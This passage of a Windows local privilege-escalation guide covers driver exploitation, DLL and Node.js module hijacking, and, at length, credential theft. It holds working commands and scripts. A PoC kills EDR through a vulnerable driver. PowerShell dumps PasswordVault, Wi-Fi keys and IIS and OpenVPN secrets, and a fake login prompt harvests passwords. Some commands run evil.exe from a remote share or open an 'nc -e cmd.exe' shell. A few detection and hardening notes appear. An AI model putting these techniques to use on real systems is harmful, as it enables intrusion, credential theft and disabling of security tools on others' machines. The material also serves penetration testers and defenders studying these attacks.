`plugins` subfolders. If a writable portable/copy install is present, dropping a malicious plugin gives automatic code execution inside `notepad++.exe` on every launch (including from `DllMain` and plugin callbacks). [Notepad Plus Plus Plugin Autoload Persistence](/hacktricks/windows-hardening/windows-local-privilege-escalation/notepad-plus-plus-plugin-autoload-persistence) ### Run at startup **Check if you can overwrite some registry or binary that is going to be executed by a different user.**\ **Read** the **following page** to learn more about interesting **autoruns locations to escalate privileges**: [Privilege Escalation With Autorun Binaries](/hacktricks/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries) ### Drivers Look for possible **third party weird/vulnerable** drivers ```bash driverquery driverquery.exe /fo table driverquery /SI ``` If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory.[[13]](#references) See the step‑by‑step technique here: [Arbitrary Kernel Rw Token Theft](/hacktricks/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft) For race-condition bugs where the vulnerable call opens an attacker-controlled Object Manager path, deliberately slowing the lookup (using max-length components or deep directory chains) can stretch the window from microseconds to tens of microseconds: [Kernel Race Condition Object Manager Slowdown](/hacktricks/windows-hardening/windows-local-privilege-escalation/kernel-race-condition-object-manager-slowdown) #### Cancel-safe queue UAFs, paged-pool disclosures, and I/O ring pivots Some Windows kernel LPE chains can be built from two individually weak bugs: a **cancel-safe queue lifetime race** that frees a request/CBD while the queue lock is still held, and a **lock-release-before-copy** disclosure that leaks a freed paged-pool allocation during `RtlCopyToUser`.[[29]](#references) Audit and exploitation notes: - **Free-under-lock + cancel afterwards**: look for a success path that does **Acquire -> CompleteRequest/free -> Release** while the cancel path does **Acquire -> RemoveIo(stale pointer) -> Release -> CompleteCanceledIo**. If the success path reaches `FltCompletePendedPreOperation` / `FltpFreeIrpCtrl` before releasing the CBDQ/CSQ lock, a thread blocked in `NtCancelIoFileEx -> IopCsqCancelRoutine` can resume later and pass a freed `PFLT_CALLBACK_DATA` back into the driver's remove callback. - **Reclaim the freed queue object** with a same-sized, attacker-controlled paged-pool allocation. `NPFS` Data Queue Entries are useful because the payload and size are controllable and you can later probe them with pipe read/peek operations. If the freed object embeds list links, overwrite them with a **cyclic list of fake request nodes in user memory** so the driver repeatedly processes attacker-defined request structures instead of terminating at the original list head. - **Upgrade a predictable write**: if the fake request redirects a nested context pointer used by bookkeeping writes (timestamps / QPC / refcount-adjacent fields), you may get an **address-controlled but not value-controlled** kernel write. In that case, target a sprayed pool object's **length/size** field instead of a final code/data pointer, then enumerate the spray until the corrupted object yields an **out-of-bounds paged-pool read**. - **Raceable disclosure pattern**: any syscall that does `ptr = obj->Buffer; unlock(obj); RtlCopyToUser(dst, ptr, size)` is a strong candidate. Reliability improves when the attacker can enlarge the copied buffer (for example by adding many list/resource entries that increase a serializer's final allocation size), because the longer copy widens the replacement window without necessarily crashing the machine. - **Pointer-rich refill targets**: Windows **I/O ring** registered-buffer arrays are excellent disclosure targets because their paged-pool size is attacker-controlled (`8 * regBufferCnt`) and each element is a kernel pointer to an `_IOP_MC_BUFFER_ENTRY`. Leak one of these arrays, recover the surrounding `IORING_OBJECT`, then corrupt **`RegBuffers`** and **`RegBuffersCount`** so subsequent I/O ring operations consume attacker-forged entries and provide arbitrary kernel read/write. If the only available write gives you a stable byte (for example from `KUSER_SHARED_DATA+0x14`), use **overlapping unaligned writes** to build a repeated-byte user pointer such as `0x0101010101010101`, map it with `VirtualAlloc`, and place the forged registered-buffer array there.[[30]](#references) Useful debugging indicators: ```text NtCancelIoFileEx -> IopCsqCancelRoutine -> !RemoveIo success path: Acquire -> CompleteRequest/free -> Release RtlCopyToUser after releasing the object lock ExAllocatePool2(..., 8 * regBufferCnt, 'BRrI')-style variable-sized pointer arrays ``` Once you obtain arbitrary kernel read/write from the corrupted I/O ring, steal a SYSTEM token using the standard post-primitive workflow: [Arbitrary Kernel Rw Token Theft](/hacktricks/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft) #### Registry hive memory corruption primitives Modern hive vulnerabilities let you groom deterministic layouts, abuse writable HKLM/HKU descendants, and convert metadata corruption into kernel paged-pool overflows without a custom driver. Learn the full chain here: [Windows Registry Hive Exploitation](/hacktricks/windows-hardening/windows-local-privilege-escalation/windows-registry-hive-exploitation) #### `RtlQueryRegistryValues` direct-mode type confusion from attacker-controlled paths Some drivers accept a registry path from userland, validate only that it is a sane UTF-16 string, and then call `RtlQueryRegistryValues(RTL_REGISTRY_ABSOLUTE, userPath, ...)` with `RTL_QUERY_REGISTRY_DIRECT` into a stack scalar such as `int readValue`. If `RTL_QUERY_REGISTRY_TYPECHECK` is missing, `EntryContext` is interpreted according to the **actual** registry type, not the type the developer expected. This creates two useful primitives:[[24]](#references)[[25]](#references) - **Confused deputy / oracle**: a user-controlled absolute `\Registry\...` path lets the driver query attacker-chosen keys, leak existence through return codes/logs, and sometimes read values the caller could not access directly. - **Kernel memory corruption**: a scalar destination such as `&readValue` becomes type-confused as a `REG_QWORD`, `UNICODE_STRING`, or sized binary buffer depending on the registry value type. Practical exploitation notes: - **Windows 8+ mitigation**: if the query hits an **untrusted hive** with `RTL_QUERY_REGISTRY_DIRECT` but without `RTL_QUERY_REGISTRY_TYPECHECK`, kernel callers crash with `KERNEL_SECURITY_CHECK_FAILURE (0x139)`. To keep exploitability, look for **attacker-writable keys inside trusted system hives** instead of staging values under `HKCU`. - **Trusted-hive staging**: use NtObjectManager to enumerate writable descendants of `\Registry\Machine`, and re-run the scan with a duplicated **low-integrity** token to find keys reachable from sandboxed contexts:[[26]](#references) ```powershell Get-AccessibleKey \Registry\Machine -Recurse -Access SetValue $token = Get-NtToken -Primary -Duplicate -IntegrityLevel Low Get-AccessibleKey \Registry\Machine -Recurse -Access SetValue -Token $token ``` - **`REG_QWORD`**: an 8-byte direct write into a 4-byte `int` corrupts adjacent stack data and can partially overwrite a nearby callback/function pointer. - **`REG_SZ` / `REG_EXPAND_SZ`**: direct mode expects `EntryContext` to point to a `UNICODE_STRING`. If the code first loads an attacker-controlled `REG_DWORD` into a stack scalar and then reuses that same buffer for a string read, the attacker controls `Length`/`MaximumLength` and partially influences the `Buffer` pointer, yielding a semi-controlled kernel write. - **`REG_BINARY`**: for large binary data, direct mode treats the first `LONG` at `EntryContext` as a signed buffer size. If a prior `REG_DWORD` read leaves a **negative** attacker-controlled value in the reused scalar, the next `REG_BINARY` query copies attacker bytes directly over adjacent stack slots, which is often the cleanest path to full callback-pointer overwrite. Strong hunting pattern: **heterogeneous registry reads into the same stack variable without reinitializing it**. Grep for `RTL_REGISTRY_ABSOLUTE`, `RTL_QUERY_REGISTRY_DIRECT`, reused `EntryContext` pointers, and code paths where the first registry read controls whether a second read happens. #### Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill) Some signed third‑party drivers create their device object with a strong SDDL via IoCreateDeviceSecure but forget to set FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics. Without this flag, the secure DACL is not enforced when the device is opened through a path containing an extra component, letting any unprivileged user obtain a handle by using a namespace path like:[[14]](#references) - \\ .\\DeviceName\\anything - \\ .\\amsdk\\anyfile (from a real-world case) Once a user can open the device, privileged IOCTLs exposed by the driver can be abused for LPE and tampering. Example capabilities observed in the wild: - Return full-access handles to arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser). - Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks). - Terminate arbitrary processes, including Protected Process/Light (PP/PPL), allowing AV/EDR kill from user land via kernel. Minimal PoC pattern (user mode): ```c // Example based on a vulnerable antimalware driver #define IOCTL_REGISTER_PROCESS 0x80002010 #define IOCTL_TERMINATE_PROCESS 0x80002048 HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); DWORD me = GetCurrentProcessId(); DWORD target = /* PID to kill or open */; DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0); DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); ``` Mitigations for developers - Always set FILE_DEVICE_SECURE_OPEN when creating device objects intended to be restricted by a DACL. - Validate caller context for privileged operations. Add PP/PPL checks before allowing process termination or handle returns. - Constrain IOCTLs (access masks, METHOD_*, input validation) and consider brokered models instead of direct kernel privileges. Detection ideas for defenders - Monitor user-mode opens of suspicious device names (e.g., \\ .\\amsdk*) and specific IOCTL sequences indicative of abuse. - Enforce Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) and maintain your own allow/deny lists. ## PATH DLL Hijacking If you have **write permissions inside a folder present on PATH** you could be able to hijack a DLL loaded by a process and **escalate privileges**.[[2]](#references) Check permissions of all folders inside PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` For more information about how to abuse this check: [Writable Sys Path Dll Hijacking Privesc](/hacktricks/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-dll-hijacking-privesc) ## Node.js / Electron module resolution hijacking via `C:\node_modules` This is a **Windows uncontrolled search path** variant that affects **Node.js** and **Electron** applications when they perform a bare import such as `require("foo")` and the expected module is **missing**.[[20]](#references) Node resolves packages by walking up the directory tree and checking `node_modules` folders on each parent. On Windows, that walk can reach the drive root, so an application launched from `C:\Users\Administrator\project\app.js` may end up probing:[[21]](#references) 1. `C:\Users\Administrator\project\node_modules\foo` 2. `C:\Users\Administrator\node_modules\foo` 3. `C:\Users\node_modules\foo` 4. `C:\node_modules\foo` If a **low-privileged user** can create `C:\node_modules`, they can plant a malicious `foo.js` (or package folder) and wait for a **higher-privileged Node/Electron process** to resolve the missing dependency. The payload executes in the security context of the victim process, so this becomes **LPE** whenever the target runs as an administrator, from an elevated scheduled task/service wrapper, or from an auto-started privileged desktop app. This is especially common when: - a dependency is declared in `optionalDependencies`[[22]](#references) - a third-party library wraps `require("foo")` in `try/catch` and continues on failure - a package was removed from production builds, omitted during packaging, or failed to install - the vulnerable `require()` lives deep inside the dependency tree instead of in the main application code ### Hunting vulnerable targets Use **Procmon** to prove the resolution path:[[23]](#references) - Filter by `Process Name` = target executable (`node.exe`, the Electron app EXE, or the wrapper process) - Filter by `Path` `contains` `node_modules` - Focus on `NAME NOT FOUND` and the final successful open under `C:\node_modules` Useful code-review patterns in unpacked `.asar` files or application sources: ```bash rg -n 'require\\("[^./]' . rg -n "require\\('[^./]" . rg -n 'optionalDependencies' . rg -n 'try[[:space:]]*\\{[[:space:][:print:]]*require\\(' . ``` ### Exploitation 1. Identify the **missing package name** from Procmon or source review. 2. Create the root lookup directory if it does not already exist: ```powershell mkdir C:\node_modules ``` 3. Drop a module with the exact expected name: ```javascript // C:\node_modules\foo.js require("child_process").exec("calc.exe") module.exports = {} ``` 4. Trigger the victim application. If the application attempts `require("foo")` and the legitimate module is absent, Node may load `C:\node_modules\foo.js`. Real-world examples of missing optional modules that fit this pattern include `bluebird` and `utf-8-validate`, but the **technique** is the reusable part: find any **missing bare import** that a privileged Windows Node/Electron process will resolve. ### Detection and hardening ideas - Alert when a user creates `C:\node_modules` or writes new `.js` files/packages there. - Hunt for high-integrity processes reading from `C:\node_modules\*`. - Package all runtime dependencies in production and audit `optionalDependencies` usage. - Review third-party code for silent `try { require("...") } catch {}` patterns. - Disable optional probes when the library supports it (for example, some `ws` deployments can avoid the legacy `utf-8-validate` probe with `WS_NO_UTF_8_VALIDATE=1`). ## Network ### Shares ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` ### hosts file Check for other known computers hardcoded on the hosts file ```text type C:\Windows\System32\drivers\etc\hosts ``` ### Network Interfaces & DNS ```text ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Open Ports Check for **restricted services** from the outside ```bash netstat -ano #Opened ports? ``` ### Routing Table ```text route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex ``` ### ARP Table ```text arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` ### Firewall Rules [**Check this page for Firewall related commands**](/hacktricks/windows-hardening/basic-cmd-for-pentesters#firewall) **(list rules, create rules, turn off, turn off...)** More[ commands for network enumeration here](/hacktricks/windows-hardening/basic-cmd-for-pentesters#network) ### Windows Subsystem for Linux (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` If you get root user you can listen on any port (the first time you use `nc.exe` to listen on a port it will ask via GUI if `nc` should be allowed by the firewall). ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` To easily start bash as root, you can try `--default-user root` You can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` ## Windows Credentials ### Winlogon Credentials ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername" #Other way reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` ### Credentials manager / Windows vault From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)[[34]](#references)\ Windows Vault stores user credentials for servers, websites, and other programs that **Windows** can use to **log users in automatically**. At first, this might sound as though users can store credentials for sites such as Facebook, Twitter, or Gmail and have browsers log in automatically, but that is not how it works. Windows Vault stores credentials that Windows can log in the users automatically, which means that any **Windows application that needs credentials to access a resource** (server or a website) **can make use of this Credential Manager** & Windows Vault and use the credentials supplied instead of users entering the username and password all the time. Unless the applications interact with Credential Manager, I don't think it is possible for them to use the credentials for a given resource. So, if your application wants to make use of the vault, it should somehow **communicate with the credential manager and request the credentials for that resource** from the default storage vault. Use the `cmdkey` to list the stored credentials on the machine. ```bash cmdkey /list Currently stored credentials: Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` Then you can use `runas` with the `/savecred` options in order to use the saved credentials. The following example is calling a remote binary via an SMB share. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` Using `runas` with a provided set of credential. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### UWP PasswordVault / Credential Locker Modern Windows UWP applications, Microsoft Edge, and modern system services store authentication tokens and plaintext passwords inside the Universal Windows Platform (UWP) `PasswordVault` (also exposed as `Web Credentials` in `vaultcmd`). This storage space is session-isolated and can be decrypted natively without administrative or `SeDebugPrivilege` rights. Execute this PowerShell command inside the user's active session to instantly dump and decrypt all stored usernames and plaintext passwords: ```powershell [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]; $v = New-Object Windows.Security.Credentials.PasswordVault; $v.RetrieveAll() | ForEach-Object { try { $_.RetrievePassword(); $_ } catch {} } | Select-Object Resource, UserName, Password | Format-List ``` ### DPAPI The **Data Protection API (DPAPI)** provides a method for symmetric encryption of data, predominantly used within the Windows operating system for the symmetric encryption of asymmetric private keys. This encryption leverages a user or system secret to significantly contribute to entropy. **DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**. In scenarios involving system encryption, it utilizes the system's domain authentication secrets. Encrypted user RSA keys, by using DPAPI, are stored in the `%APPDATA%\Microsoft\Protect\{SID}` directory, where `{SID}` represents the user's [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **The DPAPI key, co-located with the master key that safeguards the user's private keys in the same file**, typically consists of 64 bytes of random data. (It's important to note that access to this directory is restricted, preventing listing its contents via the `dir` command in CMD, though it can be listed through PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` You can use **mimikatz module** `dpapi::masterkey` with the appropriate arguments (`/pvk` or `/rpc`) to decrypt it. The **credentials files protected by the master password** are usually located in: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` You can use **mimikatz module** `dpapi::cred` with the appropriate `/masterkey` to decrypt.\ You can **extract many DPAPI** **masterkeys** from **memory** with the `sekurlsa::dpapi` module (if you are root). [Dpapi Extracting Passwords](/hacktricks/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) ### PowerShell Credentials **PowerShell credentials** are often used for **scripting** and automation tasks as a way to store encrypted credentials conveniently. The credentials are protected using **DPAPI**, which typically means they can only be decrypted by the same user on the same computer they were created on. To **decrypt** a PS credentials from the file containing it you can do: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username john PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` ### Wifi ```bash #List saved Wifi using netsh wlan show profile #To get the clear-text password use netsh wlan show profile key=clear #Oneliner to extract all wifi passwords cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on* ``` ### Saved RDP Connections You can find them on `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ and in `HKCU\Software\Microsoft\Terminal Server Client\Servers\` ### Recently Run Commands ```text HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` ### **Remote Desktop Credential Manager** ```text %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module ### Sticky Notes People often use the StickyNotes app on Windows workstations to **save passwords** and other information, not realizing it is a database file. This file is located at `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining. ### AppCmd.exe **Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ **AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ If this file exists then it is possible that some **credentials** have been configured and can be **recovered**. This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference $ErrorActionPreference = "SilentlyContinue" # Check if appcmd.exe exists if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) { # Create data table to house results $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table $Null = $DataTable.Columns.Add("user") $Null = $DataTable.Columns.Add("pass") $Null = $DataTable.Columns.Add("type") $Null = $DataTable.Columns.Add("vdir") $Null = $DataTable.Columns.Add("apppool") # Get list of application pools Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object { # Get application pool name $PoolName = $_ # Get username $PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username" $PoolUser = Invoke-Expression $PoolUserCmd # Get password $PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password" $PoolPassword = Invoke-Expression $PoolPasswordCmd # Check if credentials exists if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) } } # Get list of virtual directories Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object { # Get Virtual Directory Name $VdirName = $_ # Get username $VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName" $VdirUser = Invoke-Expression $VdirUserCmd # Get password $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password" $VdirPassword = Invoke-Expression $VdirPasswordCmd # Check if credentials exists if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') } } # Check if any passwords were found if( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline $DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique } else { # Status user Write-Verbose 'No application pool or virtual directory passwords were found.' $False } } else { Write-Verbose 'Appcmd.exe does not exist in the default location.' $False } $ErrorActionPreference = $OrigError } ``` ### SCClient / SCCM Check if `C:\Windows\CCM\SCClient.exe` exists .\ Installers are **run with SYSTEM privileges**, many are vulnerable to **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` ## Files and Registry (Credentials) ### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` ### Putty SSH Host Keys ```text reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` ### SSH keys in registry SSH private keys can be stored inside the registry key `HKCU\Software\OpenSSH\Agent\Keys` so you should check if there is anything interesting in there: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` If you find any entry inside that path it will probably be a saved SSH key. It is stored encrypted but can be easily decrypted using [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ More information about this technique here: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)[[37]](#references) If `ssh-agent` service is not running and you want it to automatically start on boot run: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] > It looks like this technique isn't valid anymore. I tried to create some ssh keys, add them with `ssh-add` and login via ssh to a machine. The registry HKCU\Software\OpenSSH\Agent\Keys doesn't exist and procmon didn't identify the use of `dpapi.dll` during the asymmetric key authentication. ### Unattended files ```text C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf C:\Windows\sysprep.inf C:\Windows\Panther\Unattended.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\System32\Sysprep\unattend.xml C:\Windows\System32\Sysprep\unattended.xml C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` You can also search for these files using **metasploit**: _post/windows/gather/enum_unattend_ Example content: ```xml U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo== true Administrateur *SENSITIVE*DATA*DELETED* administrators;users Administrateur ``` ### SAM & SYSTEM backups ```bash # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM %SYSTEMROOT%\System32\config\SAM %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` ### Cloud Credentials ```bash #From user home .aws\credentials AppData\Roaming\gcloud\credentials.db AppData\Roaming\gcloud\legacy_credentials AppData\Roaming\gcloud\access_tokens.db .azure\accessTokens.json .azure\azureProfile.json ``` ### McAfee SiteList.xml Search for a file called **SiteList.xml** ### Cached GPP Password A feature was previously available that allowed the deployment of custom local administrator accounts on a group of machines via Group Policy Preferences (GPP). However, this method had significant security flaws. Firstly, the Group Policy Objects (GPOs), stored as XML files in SYSVOL, could be accessed by any domain user. Secondly, the passwords within these GPPs, encrypted with AES256 using a publicly documented default key, could be decrypted by any authenticated user. This posed a serious risk, as it could allow users to gain elevated privileges. To mitigate this risk, a function was developed to scan for locally cached GPP files containing a "cpassword" field that is not empty. Upon finding such a file, the function decrypts the password and returns a custom PowerShell object. This object includes details about the GPP and the file's location, aiding in the identification and remediation of this security vulnerability. Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: - Groups.xml - Services.xml - Scheduledtasks.xml - DataSources.xml - Printers.xml - Drives.xml **To decrypt the cPassword:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` Using crackmapexec to get the passwords: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` ### IIS Web Config ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config type C:\Windows\Microsoft.NET\Framework64 4.0.30319\Config\web.config | findstr connectionString C:\inetpub\wwwroot\web.config ``` ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` Example of web.config with credentials: ```xml ``` ### OpenVPN credentials ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" $items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath} foreach ($item in $items) { $encryptedbytes=$item.'auth-data' $entropy=$item.'entropy' $entropy=$entropy[0..(($entropy.Length)-2)] $decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect( $encryptedBytes, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` ### Logs ```bash # IIS C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` ### Ask for credentials You can always **ask the user to enter his credentials of even the credentials of a different user** if you think he can know them (notice that **asking** the client directly for the **credentials** is really **risky**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password #Get plaintext $cred.GetNetworkCredential() | fl ``` ### **Possible filenames containing credentials** Known files that some time ago contained **passwords** in **clear-text** or **Base64** ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* web.config php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP) SiteList.xml #McAfee ConsoleHost_history.txt #PS-History *.gpg *.pgp *config*.php elasticsearch.y*ml kibana.y*ml *.p12 *.der *.csr *.cer known_hosts id_rsa id_dsa *.ovpn anaconda-ks.cfg hostapd.conf rsyncd.conf cesi.conf supervisord.conf tomcat-users.xml *.kdbx KeePass.config Ntds.dit SAM SYSTEM FreeSSHDservice.ini access.log error.log server.xml ConsoleHost_history.txt setupinfo setupinfo.bak key3.db #Firefox key4.db #Firefox places.sqlite #Firefox "Login Data" #Chrome Cookies #Chrome Bookmarks #Chrome History #Chrome TypedURLsTime #IE TypedURLs #IE %SYSTEMDRIVE%\pagefile.sys %WINDIR%\debug\NetSetup.log %WINDIR%\repair\sam %WINDIR%\repair\system %WINDIR%\repair\software, %WINDIR%\repair\security %WINDIR%\iis6.log %WINDIR%\system32\config\AppEvent.Evt %WINDIR%\system32\config\SecEvent.Evt %WINDIR%\system32\config\default.sav %WINDIR%\system32\config\security.sav %WINDIR%\system32\config\software.sav 